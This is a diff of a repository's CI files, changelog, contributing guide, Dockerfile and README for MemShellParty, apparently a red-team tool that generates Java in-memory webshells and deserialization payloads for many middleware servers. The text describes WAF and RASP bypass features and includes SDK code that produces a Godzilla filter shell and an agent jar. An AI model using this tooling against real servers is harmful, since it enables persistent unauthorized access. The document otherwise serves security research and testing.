depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
||||
- middleware: "glassfish"
|
||||
@@ -48,10 +93,9 @@ jobs:
|
||||
depend_tasks: ":vul:vul-springboot2-webflux:bootJar :vul:vul-springboot3-webflux:bootJar"
|
||||
- middleware: "xxljob"
|
||||
depend_tasks: ""
|
||||
- middleware: "struct2"
|
||||
depend_tasks: ":vul:vul-struct2:war"
|
||||
runs-on: ubuntu-22.04
|
||||
runs-on: ubuntu-latest
|
||||
name: ${{ matrix.cases.middleware }}
|
||||
needs: [ unit-test ]
|
||||
steps:
|
||||
- name: Checkout
|
||||
uses: actions/checkout@v4
|
||||
@@ -69,10 +113,7 @@ jobs:
|
||||
run: ./gradlew ${{ matrix.cases.depend_tasks }}
|
||||
|
||||
- name: Integration Test with gradle
|
||||
run: ./gradlew :integration-test:test --tests '*.memshell.${{ matrix.cases.middleware }}.*' --info
|
||||
run: ./gradlew :integration-test:test --tests '*.${{ matrix.cases.middleware }}.*' --info
|
||||
|
||||
- name: Export Integration Test Summary
|
||||
uses: mikepenz/action-junit-report@v5
|
||||
if: success() || failure()
|
||||
with:
|
||||
report_paths: '**/build/test-results/test/TEST-*.xml'
|
||||
run: cat integration-test/build/test-results/report.md >> $GITHUB_STEP_SUMMARY
|
||||
@@ -1,35 +0,0 @@
|
||||
name: Unit-Test
|
||||
|
||||
on:
|
||||
push:
|
||||
branches:
|
||||
- '**'
|
||||
paths:
|
||||
- 'generator/**'
|
||||
|
||||
concurrency:
|
||||
group: ${{ github.workflow }}-${{ github.ref }}-${{ github.event_name }}
|
||||
cancel-in-progress: true
|
||||
|
||||
jobs:
|
||||
unit-test:
|
||||
name: UniteTest
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: Checkout
|
||||
uses: actions/checkout@v4
|
||||
|
||||
- name: Setup Java
|
||||
uses: actions/setup-java@v4
|
||||
with:
|
||||
distribution: 'temurin'
|
||||
java-version: 17
|
||||
|
||||
- name: Setup Gradle
|
||||
uses: gradle/actions/setup-gradle@v4
|
||||
|
||||
- name: Generator Unit Test with Gradle
|
||||
run: ./gradlew :generator:test
|
||||
|
||||
- name: Boot Unit Test with Gradle
|
||||
run: ./gradlew :boot:test
|
||||
@@ -1,3 +0,0 @@
|
||||
[submodule "libs"]
|
||||
path = libs
|
||||
url = https://github.com/ReaJason/javaweb-sources.git
|
||||
@@ -0,0 +1,252 @@
|
||||
# Changelog
|
||||
|
||||
All notable changes to this project will be documented in this file.
|
||||
|
||||
The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/),
|
||||
and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
|
||||
|
||||
## [v1.10.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.10.0) - 2025-06-07
|
||||
|
||||
### Added
|
||||
|
||||
- 添加新的 JSP 打包方式(直接使用 defineClass 进行注入)(by @zema1 #67)
|
||||
- 支持 Tomcat 和 JBossAS ProxyValve 内存马(通过动态代理将 StandardPipeline 的第一个 valve 进行包装注入自定义逻辑)
|
||||
|
||||
### Fixed
|
||||
|
||||
- 修复哥斯拉无法使用最新版连接
|
||||
- 修复 TongWeb8 Valve 未适配
|
||||
- 修复移动端 UI 输入框 placeholder 字体过大
|
||||
- 修复移动端 UI 类名复制按钮超出卡片范围
|
||||
|
||||
### Changed
|
||||
|
||||
- 修改 Valve 和 Listener 字节码修改时机,改为生成时再进行修改,方便自定义内存马生成
|
||||
- 合并 memshell 与 memshell-jdk8 模块,方便维护
|
||||
- UI 使用新的 shadcn/ui 提供的 Zinc 主题配置
|
||||
- 将所有 Shell 捕获异常从 Exception 改为 Throwable
|
||||
- 简化 Shell base64 方法代码
|
||||
- Gradle 更新至 8.14.2
|
||||
- 参考 [General Gradle Best Practices](https://docs.gradle.org/current/userguide/best_practices_general.html),将构建脚本改为
|
||||
Kotlin DSL
|
||||
|
||||
**Full Changelog:** [v1.9.0...v1.10.0](https://github.com/ReaJason/MemShellParty/compare/v1.9.0...v1.10.0)
|
||||
|
||||
## [v1.9.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.9.0) - 2025-05-28
|
||||
|
||||
### Added
|
||||
|
||||
- 支持 TongWeb8 内存马生成 by @ReaJason
|
||||
- 通过 context 获取 webAppClassLoader,不再依赖 Thread.currentThread().getContextClassLoader()
|
||||
为请求线程,参考:[任意类加载环境下注入内存马](https://reajason.eu.org/writing/whichclassloaderforshell/)
|
||||
- 全面支持使用 ASM 生成 Agent(仅需 92.5 KB),并且可选 JDKAttacher 与 JREAttacher
|
||||
- 支持命令执行自定义实现类,RuntimeExec or ForkAndExec
|
||||
|
||||
### Fixed
|
||||
|
||||
- 修复 Apusic Listener 由于 response 获取错误导致不可用
|
||||
- 修复 Jakarta WebSocket 无法注入
|
||||
|
||||
### Changed
|
||||
|
||||
- Godzilla WebSocket 默认使用 AES_BASE64 加密器,支持使用 [GzWebsocket](https://github.com/xsshim/GzWebsocket) 插件进行连接。
|
||||
- Gradle、Web 项目依赖更新
|
||||
- UI 生成界面默认勾选缩小字节码
|
||||
- UI 优化手机端选项布局,单行显示每个输入框
|
||||
- UI 使用紧凑模式,隐藏非常用字段简化操作路径
|
||||
- 提取公共 Tailwind CSS 类名,简化表单组件代码
|
||||
- yup 替代 zod 减少打包体积,并将自定义表单验证融合到 react-hook-form 中优化 UX
|
||||
- 重构 Shell Generator 代码
|
||||
|
||||
**Full Changelog:** [v1.8.0...v1.9.0](https://github.com/ReaJason/MemShellParty/compare/v1.8.0...v1.9.0)
|
||||
|
||||
## [v1.8.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.8.0) - 2025-05-14
|
||||
|
||||
### Added
|
||||
|
||||
- 支持普元中间件内存马生成(only 6.5 版本)by @ReaJason(#60)
|
||||
- 支持哥斯拉 WebSocket 内存马生成与测试
|
||||
- 添加 Groovy 通用恶意类加载打包方式(用于测试 Jenkins 脚本执行)
|
||||
- 命令执行支持加密器,双 Base64 测试绕过 WAF 安全设备
|
||||
|
||||
### Fixed
|
||||
|
||||
- 修复 Jetty 高版本中 ee8 ~ ee10 无法注入(#61)
|
||||
- 修复 Spring Boot 下类加载的原因导致的 Tomcat/Jetty/Undertow 部分内存马注入失败
|
||||
|
||||
### Changed
|
||||
|
||||
- 命令执行改为反射调用 forkAndExec 以绕过 RASP(JDK7+)
|
||||
- 获取所有线程代码改为 `Thread.getAllStackTraces().keySet()`,高版本 JDK 不再需要 bypass module
|
||||
- 优化 boot 在启动时即触发 Server 的内存马生成注册,加速第一次请求访问
|
||||
|
||||
**Full Changelog:** [v1.7.0...v1.8.0](https://github.com/ReaJason/MemShellParty/compare/v1.7.0...v1.8.0)
|
||||
|
||||
## [v1.7.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.7.0) - 2025-04-06
|
||||
|
||||
### Added
|
||||
|
||||
- 支持发布到 MavenCentral,可通过引入依赖使用生成 API by @ReaJason(#41)
|
||||
- 支持 CC3、CC4 反序列化 payload 打包方式
|
||||
- 支持随机参数生成与默认选项(#50)
|
||||
|
||||
### Changed
|
||||
|
||||
- 去除代码混淆相关代码
|
||||
- 为了更好地在 MavenCentral 展示,重命名部分模块
|
||||
- 使用 Jackson 代替 Fastjson 降低 boot 打包体积
|
||||
- 移除 commons-codec 降低 boot 打包体积
|
||||
- 升级 shadcn/ui 所有 component 代码
|
||||
|
||||
**Full Changelog:** [v1.6.0...v1.7.0](https://github.com/ReaJason/MemShellParty/compare/v1.6.0...v1.7.0)
|
||||
|
||||
## [v1.6.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.6.0) - 2025-03-30
|
||||
|
||||
> 做代码生成以及代码混淆真是一件需要耐心的事情
|
||||
|
||||
### Added
|
||||
|
||||
- 支持自定义内存马生成 by @ReaJason(#49)
|
||||
- 支持命令回显 ASM Agent 内存马 by @ReaJason(#51)
|
||||
- 支持简易的代码混淆 by @ReaJason(#13)
|
||||
- 支持自动发布 DEV 分支代码 CD
|
||||
|
||||
### Changed
|
||||
|
||||
- 简化 Jetty 获取 Context 代码
|
||||
- 优化 Dockerfile 减小镜像体积
|
||||
|
||||
**Full Changelog:** [v1.5.0...v1.6.0](https://github.com/ReaJason/MemShellParty/compare/v1.5.0...v1.6.0)
|
||||
|
||||
## [v1.5.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.5.0) - 2025-03-01
|
||||
|
||||
### Added
|
||||
|
||||
- 支持 NeoreGeorg 内存马生成 by @ReaJason
|
||||
- 支持 UI 显示更新按钮跳转到 GitHub Release 界面
|
||||
|
||||
### Changed
|
||||
|
||||
- 简化 Valve 内存马代码
|
||||
- 升级 Gradle 8.13
|
||||
|
||||
**Full Changelog:** [v1.4.0...v1.5.0](https://github.com/ReaJason/MemShellParty/compare/v1.4.0...v1.5.0)
|
||||
|
||||
## [v1.4.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.4.0) - 2025-02-26
|
||||
|
||||
### Added
|
||||
|
||||
- 支持缩小字节码 (移除调试信息) by @ReaJason
|
||||
- 支持 Tomcat Jakarta WebSocket
|
||||
|
||||
### Fixed
|
||||
|
||||
- 修复自定义注入器类名不起作用
|
||||
|
||||
### Changed
|
||||
|
||||
- 优化跨平台开发体验,将 bash 脚本改为 js 脚本
|
||||
|
||||
**Full Changelog:** [v1.3.2...v1.4.0](https://github.com/ReaJason/MemShellParty/compare/v1.3.2...v1.4.0)
|
||||
|
||||
## [v1.3.2](https://github.com/ReaJason/MemShellParty/releases/tag/v1.3.2) - 2025-02-25
|
||||
|
||||
### Fixed
|
||||
|
||||
- 修复 Tomcat WebSocket 注入报错,无法工作
|
||||
|
||||
### Changed
|
||||
|
||||
- 添加 foojay-toolchains 插件,支持 Dockerfile 构建时自动下载缺失的 JDK 版本
|
||||
- 优化构建 Spring Boot 的 Dockerfile,最小权限原则
|
||||
- 支持一键构建的 Dockerfile,适配需要 NGINX 反代的场景
|
||||
- 代码重构支持一处注册所有 Server 的 Shell 配置
|
||||
|
||||
**Full Changelog:** [v1.3.1...v1.3.2](https://github.com/ReaJason/MemShellParty/compare/v1.3.1...v1.3.2)
|
||||
|
||||
## [v1.3.1](https://github.com/ReaJason/MemShellParty/releases/tag/v1.3.1) - 2025-02-20
|
||||
|
||||
### Added
|
||||
|
||||
- UI 中打包配置中添加 Loading 状态
|
||||
|
||||
### Fixed
|
||||
|
||||
- 修复 UI 在修改目标服务时,挂载类型有时未跟着变化导致生成失败
|
||||
|
||||
**Full Changelog:** [v1.3.0...v1.3.1](https://github.com/ReaJason/MemShellParty/compare/v1.3.0...v1.3.1)
|
||||
|
||||
## [v1.3.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.3.0) - 2025-02-20
|
||||
|
||||
### Added
|
||||
|
||||
- 支持 Hessian、Hessian2 反序列化,XSLT 链 (#36) by @ReaJason
|
||||
|
||||
### Changed
|
||||
|
||||
- 移除无用依赖,JavaSocket,Gson
|
||||
- Gradle 升级至 8.12.1
|
||||
- 更新 TestContainers 和 Junit 的版本
|
||||
|
||||
### Fixed
|
||||
|
||||
- 修复 UI 在仅修改打包方式重新生成时,多选 payload 下拉框置空,且 payload 没有变为最新的。
|
||||
|
||||
**Full Changelog:** [v1.2.1...v1.3.0](https://github.com/ReaJason/MemShellParty/compare/v1.2.1...v1.3.0)
|
||||
|
||||
## [v1.2.1](https://github.com/ReaJason/MemShellParty/releases/tag/v1.2.1) - 2025-02-19
|
||||
|
||||
### Changed
|
||||
|
||||
- UI 增强手机端响应式,增强 i18n 显示 (#39)
|
||||
|
||||
### Fixed
|
||||
|
||||
- 修复 CB110 版本 serialVersionUID 修改失效导致无法利用成功
|
||||
|
||||
**Full Changelog:** [v1.2.0...v1.2.1](https://github.com/ReaJason/MemShellParty/compare/v1.2.0...v1.2.1)
|
||||
|
||||
## [v1.2.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.2.0) - 2025-02-19
|
||||
|
||||
### Added
|
||||
|
||||
- 支持 AntSword 内存马生成 by @ReaJason
|
||||
- 添加 Java 反序列化其他 CB 版本 Payload 生成
|
||||
|
||||
### Changed
|
||||
|
||||
- CI 分离单独测试 was7 集成测试,大幅度减少测试时间
|
||||
- 部分 UI 调整
|
||||
|
||||
### Fixed
|
||||
|
||||
- 修复随机类名如果为保留字时会无法加载
|
||||
|
||||
**Full Changelog:** [v1.1.0...v1.2.0](https://github.com/ReaJason/MemShellParty/compare/v1.1.0...v1.2.0)
|
||||
|
||||
## [v1.1.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.1.0) - 2025-02-15
|
||||
|
||||
### Added
|
||||
|
||||
- 支持 Suo5 内存马生成 by @ReaJason
|
||||
|
||||
### Changed
|
||||
|
||||
- 升级 TailWind CSS v4
|
||||
- 分离 i18n EN 和 ZH 为两个 json 文件,方便维护以及 VSCode 插件识别
|
||||
|
||||
### Fixed
|
||||
|
||||
- 修复 sonner 颜色主题未随着修改而变化
|
||||
- 修复 IDEA 本地构建 version 一直是 unspecified
|
||||
|
||||
**Full Changelog:** [v1.0.0...v1.1.0](https://github.com/ReaJason/MemShellParty/compare/v1.0.0...v1.1.0)
|
||||
|
||||
## [v1.0.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.0.0) - 2025-01-03
|
||||
|
||||
### Added
|
||||
|
||||
- 支持 Tomcat、Jetty、WebLogic、GlassFish、JBoss、Resin 等 18 个中间件或框架的应用内存马
|
||||
- 支持 Filter、Servlet、Listener、NettyHandler、Agent 等常见内存马挂载类型
|
||||
- 支持哥斯拉、冰蝎、命令执行功能
|
||||
- 支持 Base64、Jar、JSP、常见表达式、常见模板引擎、反序列化等打包方式
|
||||
@@ -1,27 +1,19 @@
|
||||
## Contribute
|
||||
|
||||
> 你的任何反馈以及 issue 交流都是对当前项目的贡献
|
||||
|
||||
> It will be so nice if you want to contribute. 🎉
|
||||
|
||||
1. 如果你有高超的 Docker 环境构建技术,可以尝试添加 CVE 相关的集成测试用例。
|
||||
2. 如果你有高超的内存马编写技术,可以尝试添加一个内存马试试。
|
||||
3. 如果你有丰富的实战经验,可以尝试写写 issue 来提提建议。
|
||||
|
||||
### 目录结构
|
||||
|
||||
- bom: 依赖版本管理,不用写到处写版本号就是舒服
|
||||
- boot:使用 SpringBoot 为 UI 提供生成服务
|
||||
- memshell-party-common:bytebuddy/asm 等工具类存放
|
||||
- common:bytebuddy 等工具类存放
|
||||
- generator:内存马生成核心
|
||||
- packer:常见漏洞 payload 生成
|
||||
- deserialize:反序列化相关 gadget
|
||||
- integration-test:集成测试用例
|
||||
- memshell:内存功能类以及注入器
|
||||
- memshell-agent:Agent 内存马 playground,可参考 asm/javassist/bytebuddy 编写 Agent 内存马
|
||||
- tools/*:内存马简易连接器,用于测试内存马注入之后是否可用
|
||||
- memshell:内存功能类以及注入器(为保证兼容性够高,所以单独弄出来)
|
||||
- memshell-java8:Spring 相关的存在 lambda 表达式所以单独弄出来
|
||||
- tools/behinder:冰蝎简易连接器
|
||||
- tools/godzilla:哥斯拉简易连接器
|
||||
- tools/suo5:Suo5 简易连接器
|
||||
- web:使用 react 开发的 Web UI
|
||||
- vul/vul-webapp:简易的 javax.servlet 靶场
|
||||
- vul/vul-webapp-expression:简易的表达式注入、SSTI 注入相关靶场
|
||||
- vul/vul-webapp-deserialize:简易的反序列化相关靶场
|
||||
- vul/vul-webapp-jakarta:简易的 jakarta.servlet 靶场
|
||||
- vul/springboot*: springboot 相关靶场
|
||||
|
||||
@@ -36,15 +28,12 @@
|
||||
# 运行集成测试用例,谨慎运行,用例太多了
|
||||
./gradlew :integration-test:test --info
|
||||
|
||||
# 仅运行 tomcat 下的集成测试用例(需要先构建靶场)
|
||||
./gradlew :vul:vul-webapp:war :vul:vul-webapp-expression:war :vul:vul-webapp-deserialize:war :vul:vul-webapp-jakarta:war
|
||||
# 仅运行 tomcat 下的集成测试用例
|
||||
./gradlew :integration-test:test --tests '*.tomcat.*'
|
||||
|
||||
# 仅运行 jetty 下的集成测试用例(需要先构建靶场)
|
||||
./gradlew :vul:vul-webapp:war :vul:vul-webapp-jakarta:war
|
||||
# 仅运行 jetty 下的集成测试用例
|
||||
./gradlew :integration-test:test --tests '*.jetty.*'
|
||||
|
||||
# 构建靶场 war 包
|
||||
# 构建 war 包
|
||||
./gradlew :vul:vul-webapp:war
|
||||
./gradlew :vul:vul-webapp-jakarta:war
|
||||
./gradlew :vul:vul-webapp-expression:war
|
||||
@@ -68,7 +57,7 @@ UI 采用的 React SPA + SpringBoot,构建时需要先将 React 前端项目
|
||||
|
||||
### Contribute Code
|
||||
|
||||
> 参考 GitHub Docs,https://docs.github.com/en/get-started/exploring-projects-on-github/contributing-to-a-project
|
||||
> 参考 GitHub Docs, https://docs.github.com/en/get-started/exploring-projects-on-github/contributing-to-a-project
|
||||
|
||||
1. fork 当前项目
|
||||
2. git clone 自己 fork 后的项目
|
||||
|
||||
@@ -1,4 +1,7 @@
|
||||
FROM --platform=$BUILDPLATFORM buildpack-deps:bullseye-scm AS source
|
||||
FROM buildpack-deps:bullseye-scm AS source
|
||||
|
||||
ARG VERSION="1.0.0"
|
||||
ENV VERSION=${VERSION}
|
||||
|
||||
WORKDIR /usr/src
|
||||
|
||||
@@ -6,7 +9,7 @@ RUN git clone --depth 1 https://github.com/ReaJason/MemShellParty.git . && \
|
||||
rm -rf vul integration-test tools
|
||||
|
||||
# https://hub.docker.com/r/oven/bun
|
||||
FROM --platform=$BUILDPLATFORM oven/bun:1.3.11 AS frontend
|
||||
FROM oven/bun:1.2.9 AS frontend
|
||||
|
||||
ARG ROUTE_ROOT_PATH="/"
|
||||
ARG CONTEXT_PATH=""
|
||||
@@ -14,9 +17,9 @@ ARG CONTEXT_PATH=""
|
||||
WORKDIR /usr/src/web
|
||||
|
||||
ENV VITE_APP_API_URL=${CONTEXT_PATH} \
|
||||
VITE_APP_BASE_PATH=${ROUTE_ROOT_PATH}/ui
|
||||
VITE_APP_BASE_PATH=${ROUTE_ROOT_PATH}
|
||||
|
||||
COPY --from=source /usr/src/web/package.json /usr/src/web/bun.lock /usr/src/web/source.config.ts /usr/src/web/
|
||||
COPY --from=source /usr/src/web/package.json /usr/src/web/bun.lockb /usr/src/web/
|
||||
|
||||
RUN bun install --frozen-lockfile
|
||||
|
||||
@@ -24,8 +27,11 @@ COPY --from=source /usr/src/web /usr/src/web
|
||||
|
||||
RUN bun run build
|
||||
|
||||
# https://hub.docker.com/_/eclipse-temurin/tags?name=17.
|
||||
FROM --platform=$BUILDPLATFORM eclipse-temurin:17.0.17_10-jdk-noble AS backend
|
||||
# https://hub.docker.com/_/eclipse-temurin
|
||||
FROM eclipse-temurin:17.0.14_7-jdk-noble AS backend
|
||||
|
||||
ARG VERSION="1.0.0"
|
||||
ENV VERSION=${VERSION}
|
||||
|
||||
WORKDIR /usr/src
|
||||
|
||||
@@ -33,9 +39,9 @@ COPY --from=source /usr/src /usr/src
|
||||
|
||||
COPY --from=frontend /usr/src/boot/src/main/resources /usr/src/boot/src/main/resources
|
||||
|
||||
RUN ./gradlew :boot:bootjar -x test
|
||||
RUN ./gradlew -Pversion=${VERSION} :boot:bootjar -x test
|
||||
|
||||
FROM eclipse-temurin:17.0.17_10-jre-noble
|
||||
FROM eclipse-temurin:17.0.14_7-jre-noble
|
||||
|
||||
LABEL authors="ReaJason<[email protected]>"
|
||||
|
||||
|
||||
@@ -1,6 +1,11 @@
|
||||
<h1 align="center">MemShellParty</h1>
|
||||
|
||||
<p align="center">中文 | <a href="./docs/README.en.md">English</a><br></p>
|
||||
<div align="center">
|
||||
|
||||
[](https://github.com/ReaJason/MemShellParty/actions/workflows/test.yaml)
|
||||
[](https://github.com/ReaJason/MemShellParty/actions/workflows/release.yaml)
|
||||
</div>
|
||||
|
||||
|
||||
<div align="center">
|
||||
@@ -12,7 +17,7 @@
|
||||
<div align="center">
|
||||
|
||||
[](https://t.me/memshell)
|
||||
[](https://party.mem.mk)
|
||||
[](https://party.memshell.news)
|
||||
</div>
|
||||
|
||||
> [!WARNING]
|
||||
@@ -20,46 +25,37 @@
|
||||
|
||||
> [!TIP]
|
||||
> 由于本人仅是安全产品研发,无实战经验,如使用或实现有相关疑问或者适配请求可提 issue 或加入 TG
|
||||
> 交流群,欢迎一起学习交流。
|
||||
> 交流群,欢迎一起学习交流
|
||||
|
||||
MemShellParty 是一款专注于主流 Web 中间件的内存马快速生成工具,致力于简化安全研究人员和红队成员的工作流程,提升攻防效率。
|
||||
MemShellParty 是一款可本地部署的一键生成常见中间件框架内存马的可视化平台,并且致力于打造内存马的全方位的学习平台。
|
||||
在遍地是轮子的时代,是时候造车,带着大伙加速冲冲冲了。
|
||||
|
||||
<p align="center">
|
||||
<img src="assets/normal_memshell.png" alt="normal_memshell" width="24%">
|
||||
<img src="assets/agent_memshell.png" alt="agent_memshell" width="24%">
|
||||
<img src="assets/dnslog_probe.png" alt="dnslog_probe" width="24%">
|
||||
<img src="assets/about_page.png" alt="about_page" width="24%">
|
||||
</p>
|
||||
希望你能从这个项目学会或尝试做的:
|
||||
|
||||
1. 学会编写常见中间件框架的内存马。
|
||||
2. 学会使用 [Testcontainers](https://testcontainers.com/) 做 Java 应用的集成测试。
|
||||
3. 学会使用 GitHub Actions 编写 CI/CD,编写 CHANGELOG 并通过 CI 自动发布 Release。
|
||||
4. 尝试使用 [Byte Buddy](https://bytebuddy.net/) 生成类,编写 Agent。
|
||||
5. 尝试使用 Gradle 构建 Java 项目(platform 编写依赖版本管理,toolchain 可以在根项目设置 JDK17 环境下也能完成 JDK6 源代码的编译)
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
## 主要特性
|
||||
|
||||
- **无侵入性**:生成的内存马不会影响目标中间件正常流量,即使同时注入十几个不同的内存马。
|
||||
- **强兼容性**:覆盖攻防场景下常见中间件和框架,以及 JDK 适配 JDK6 ~ JDK21。
|
||||
- **高可用性**:对所有支持的中间件框架建立了全面的自动化测试矩阵,确保每一次生成的载荷都具备最高的可用性和稳定性,杜绝实战中的不确定性。
|
||||
- **极致轻量化**:通过深度优化的字节码生成策略,MemShellParty 将内存马体积相较于 JMG 等传统工具进行了大幅缩小,常规内存马缩小了
|
||||
**30%**,Agent 内存马采用 ASM 技术缩小了 **80%**。
|
||||
- **傻瓜一键化**:内置针对主流表达式注入、反序列化、SSTI 等常见漏洞的载荷生成。系统会自动根据绕过 Java
|
||||
模块限制配置,动态生成最优攻击载荷。可实现常规漏洞载荷一键生成。
|
||||
- **高灵活性**:原生支持哥斯拉、冰蝎、蚁剑、Suo5、NeoreGeorg 等常用内存马功能,通过高度灵活的自定义内存马上传功能,可以将任何定制化载荷融入
|
||||
MemShellParty 的生成体系,打造最贴合自身战术需求的攻击平台。
|
||||
- 无侵入性:生成的内存马不会影响目标中间件正常流量,即使同时注入十几个不同的内存马。
|
||||
- 高可用性:自带完备的 [CI 集成测试](https://github.com/ReaJason/MemShellParty/actions/workflows/test.yaml)
|
||||
- 最小化:尽可能精简内存马大小,高效传输。
|
||||
- 强兼容性:覆盖攻防场景下常见中间件和框架。
|
||||
|
||||
## 快速使用
|
||||
|
||||
### 使用前必看
|
||||
|
||||
[Java 服务简介.md](web/content/docs/server-intro.mdx),用于了解 MemShellParty
|
||||
中针对各个服务适配的情况,针对不同的应用选择合适的服务类型。
|
||||
|
||||
探测马中探测服务类型已经做了一一对应,探测出来的服务类型,即是可生成内存马的服务类型(非中间件类型,例如 Apusic10 探测出来的结果为
|
||||
GlassFish,因为它使用的是 GlassFish 进行的二开)。
|
||||
|
||||
### 在线站点
|
||||
|
||||
> 仅限尝鲜的小伙伴,对于其他暴露在公网的服务请谨慎使用,小心生成的内存马带后门
|
||||
|
||||
可访问(master 分支) [https://party.mem.mk](https://party.mem.mk)。每次 Release 都会自动部署最新的镜像。
|
||||
|
||||
对于正在开发的功能可访问(dev 分支) [https://dev-party.mem.mk](https://dev-party.mem.mk) 抢先体验。
|
||||
可直接访问 [https://party.memshell.news](https://party.memshell.news)。每次 Release 都会自动部署最新的镜像。
|
||||
|
||||
### 本地部署(推荐)
|
||||
|
||||
@@ -78,10 +74,313 @@ docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party ghcr.io/
|
||||
docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party ghcr.nju.edu.cn/reajason/memshell-party:latest
|
||||
```
|
||||
|
||||
## Special Thanks
|
||||
镜像是无状态的,在需要更新最新镜像时,直接移除新建就好了
|
||||
|
||||
```bash
|
||||
# 移除之前部署的
|
||||
docker rm -f memshell-party
|
||||
|
||||
# 使用之前的部署命令重新部署(会自动拉取最新的镜像部署)
|
||||
docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party reajason/memshell-party:latest
|
||||
```
|
||||
|
||||
### SDK 集成到现有工具中
|
||||
|
||||
> 适合集成到已有工具中,实现内存马 payload 的生成,支持 JDK8 以上版本,v1.7.0 开始支持
|
||||
|
||||
1. 添加依赖,Maven Or Gradle
|
||||
|
||||
```xml
|
||||
<!-- Maven Repo-->
|
||||
<dependency>
|
||||
<groupId>io.github.reajason</groupId>
|
||||
<artifactId>generator</artifactId>
|
||||
<version>1.7.0</version>
|
||||
</dependency>
|
||||
```
|
||||
|
||||
```groovy
|
||||
// Gradle Repo
|
||||
implementation 'io.github.reajason:generator:1.7.0'
|
||||
```
|
||||
|
||||
2. 生成 Tomcat Godzilla Filter 内存马示例
|
||||
|
||||
```java
|
||||
ShellConfig shellConfig = ShellConfig.builder()
|
||||
.server(Server.Tomcat)
|
||||
.shellTool(ShellTool.Godzilla)
|
||||
.shellType(ShellType.FILTER)
|
||||
.shrink(true) // 缩小字节码
|
||||
.debug(false) // 关闭调试
|
||||
.build();
|
||||
|
||||
InjectorConfig injectorConfig = InjectorConfig.builder()
|
||||
// .urlPattern("/*") // 自定义 urlPattern,默认就是 /*
|
||||
// .shellClassName("com.example.memshell.GodzillaShell") // 自定义内存马类名,默认为空时随机生成
|
||||
// .injectorClassName("com.example.memshell.GodzillaInjector") // 自定义注入器类名,默认为空时随机生成
|
||||
.build();
|
||||
|
||||
GodzillaConfig godzillaConfig = GodzillaConfig.builder()
|
||||
// .pass("pass")
|
||||
// .key("key")
|
||||
// .headerName("User-Agent")
|
||||
// .headerValue("test")
|
||||
.build();
|
||||
|
||||
GenerateResult result = MemShellGenerator.generate(shellConfig, injectorConfig, godzillaConfig);
|
||||
|
||||
System.out.println("注入器类名:"+result.getInjectorClassName());
|
||||
System.out.println("内存马类名:"+result.getShellClassName());
|
||||
|
||||
System.out.println(result.getShellConfig());
|
||||
System.out.println(result.getShellToolConfig());
|
||||
|
||||
System.out.println("Base64 打包:"+Packers.Base64.getInstance().pack(result));
|
||||
System.out.println("脚本引擎打包:"+Packers.ScriptEngine.getInstance().pack(result));
|
||||
```
|
||||
3. 生成 Tomcat Godzilla AgentFilterChain 示例
|
||||
```java
|
||||
ShellConfig shellConfig = ShellConfig.builder()
|
||||
.server(Server.Tomcat)
|
||||
.shellTool(ShellTool.Godzilla)
|
||||
.shellType(ShellType.AGENT_FILTER_CHAIN)
|
||||
.shrink(true) // 缩小字节码
|
||||
.debug(false) // 关闭调试
|
||||
.build();
|
||||
|
||||
InjectorConfig injectorConfig = InjectorConfig.builder()
|
||||
// .urlPattern("/*") // 自定义 urlPattern,默认就是 /*
|
||||
// .shellClassName("com.example.memshell.GodzillaShell") // 自定义内存马类名,默认为空时随机生成
|
||||
// .injectorClassName("com.example.memshell.GodzillaInjector") // 自定义注入器类名,默认为空时随机生成
|
||||
.build();
|
||||
|
||||
GodzillaConfig godzillaConfig = GodzillaConfig.builder()
|
||||
// .pass("pass")
|
||||
// .key("key")
|
||||
// .headerName("User-Agent")
|
||||
// .headerValue("test")
|
||||
.build();
|
||||
|
||||
GenerateResult result = MemShellGenerator.generate(shellConfig, injectorConfig, godzillaConfig);
|
||||
|
||||
System.out.println("注入器类名:" + result.getInjectorClassName());
|
||||
System.out.println("内存马类名:" + result.getShellClassName());
|
||||
|
||||
System.out.println(result.getShellConfig());
|
||||
System.out.println(result.getShellToolConfig());
|
||||
|
||||
byte[] agentJarBytes = ((JarPacker) Packers.AgentJar.getInstance()).packBytes(result);
|
||||
Files.write(Paths.get("agent.jar"), agentJarBytes);
|
||||
```
|
||||
4. 封装统一生成接口可参考 [GeneratorController.java](boot/src/main/java/com/reajason/javaweb/boot/controller/GeneratorController.java)
|
||||
|
||||
## 适配情况
|
||||
|
||||
已兼容 Java6 ~ Java8、Java9、Java11、Java17、Java21
|
||||
|
||||
### 中间件以及框架
|
||||
|
||||
| Tomcat(5 ~ 11) | Jetty(6 ~ 11) | GlassFish(3 ~ 7) | Payara(5 ~ 6) |
|
||||
|----------------------|------------------------|----------------------|----------------------|
|
||||
| Servlet | Servlet | Filter | Filter |
|
||||
| Filter | Filter | Listener | Listener |
|
||||
| Listener | Listener | Valve | Valve |
|
||||
| Valve | ServletHandler - Agent | FilterChain - Agent | FilterChain - Agent |
|
||||
| ProxyValve | | | |
|
||||
| FilterChain - Agent | | ContextValve - Agent | ContextValve - Agent |
|
||||
| ContextValve - Agent | | | |
|
||||
|
||||
| Resin(3 ~ 4) | SpringMVC | SpringWebFlux | XXL-JOB |
|
||||
|---------------------|--------------------------|-----------------|--------------|
|
||||
| Servlet | Interceptor | WebFilter | NettyHandler |
|
||||
| Filter | ControllerHandler | HandlerMethod | |
|
||||
| Listener | FrameworkServlet - Agent | HandlerFunction | |
|
||||
| FilterChain - Agent | | NettyHandler | |
|
||||
|
||||
| JBossAS(4 ~ 7) | JBossEAP(6 ~ 7) | WildFly(9 ~ 30) | Undertow |
|
||||
|----------------------|----------------------------|------------------------|------------------------|
|
||||
